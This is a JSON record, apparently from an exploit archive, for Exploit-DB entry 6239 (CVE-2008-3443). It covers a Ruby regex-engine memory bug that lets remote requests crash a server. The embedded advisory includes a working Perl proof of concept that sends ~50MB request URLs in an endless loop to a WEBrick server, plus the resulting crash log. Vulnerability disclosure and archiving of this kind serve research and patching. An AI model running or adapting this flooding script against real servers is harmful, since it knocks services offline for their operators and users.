{"exploit":{"id":"EDB-6239","name":"Ruby 1.9 - regex engine Remote Socket Memory Leak","description":"Ruby 1.9 - regex engine Remote Socket Memory Leak","cves":["CVE-2008-3443"],"author":"laurent gaffiÃ©","published":"2008-08-13","platform":"multiple","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6239","path":"exploits/multiple/dos/6239.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6239.txt","vulnerabilities":[{"id":"CVE-2008-3443","state":"PUBLISHED","title":null,"titleSource":null,"description":"The regular expression engine (regex.c) in Ruby 1.8.5 and earlier, 1.8.6 through 1.8.6-p286, 1.8.7 through 1.8.7-p71, and 1.9 through r18423 allows remote attackers to cause a denial of service (infinite loop and crash) via multiple long requests to a Ruby socket, related to memory allocation failure, and as demonstrated against Webrick.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-3443","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-3443"},"updatedAt":"2024-08-07T09:37:26.963Z","retrievedAt":"2026-11-26T18:07:10.670Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6239.png?v=2","url":"https://exploitbin.com/exploits/EDB-6239","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6239/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6239/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"-------------------------------------------------------\nLanguage : Ruby\n\nWeb Site: www.ruby-lang.org\n\nPlatform: All\n\nBug: Remote Socket Memory Leak\n\nProducts Affected:\n1.8 series:\n- 1.8.5 and all prior versions\n- 1.8.6-p286 and all prior versions\n- 1.8.7-p71 and all prior versions\n\n1.9 series\n- r18423 and all prior revisions\n\nConfirmed by the vendor: Yes\n\nPatch available : Yes\n-------------------------------------------------------\n\n1) Introduction\n2) Bug\n3) Proof of concept\n4) Credits\n\n===============\n1) Introduction\n===============\n\"A dynamic, open source programming language with a focus on simplicity and productivity.\nIt has an elegant syntax that is natural to read and easy to write.\"\n\n=======\n2) Bug\n=======\nRuby fails to handle properly the memory allocated for a socket\nSo when you send ~ 4 big request to a ruby socket, ruby will go\nin infinite loop, and then crash.\nThe bug reside in the regex engine (in regex.c).\n\n==================\n3)Proof of concept\n===================\nThis poc is an exemple for Webrick web server\ncrap.pl :\n\n#!/usr/bin/perl\nuse LWP::Simple;\nmy $payload = \"\\x41\" x 49999999;\nwhile(1)\n{\nprint \"[+]\\n\";\nget \"http://127.0.0.1:2500/\".$payload.\"\";\n}\n\nResult (Exemple on Webrick web server):\n\n[2008-07-11 22:39:55] INFO  WEBrick 1.3.1\n[2008-07-11 22:39:55] INFO  ruby 1.8.6 (2007-09-24) [i486-linux]\n[2008-07-11 22:39:55] INFO  WEBrick::HTTPServer#start: pid=13850 port=2500\n[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory\n        /usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line'\n        /usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'\n        /usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'\n        /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'\n        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'\n        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'\n        /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'\n        /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'\n        /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'\n        /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'\n        /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'\n        /home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch'\n        script/server:62\n[FATAL] failed to allocate memory\nroot@audit:/home/audit#\n\n=====\n5)Credits\n=====\n\nlaurent gaffiÃ©\n\nlaurent.gaffie{remove_this}[at]gmail[dot]com\n\n# milw0rm.com [2008-08-13]","sha256":"31a8f13174f4db9d013166b4a7596038fa03041d534fce34c41398ad0fae8a9b","bytes":2452,"fetchedAt":"2026-11-26T18:07:08.935Z","encoding":"utf-8 (display only; download retains original bytes)"}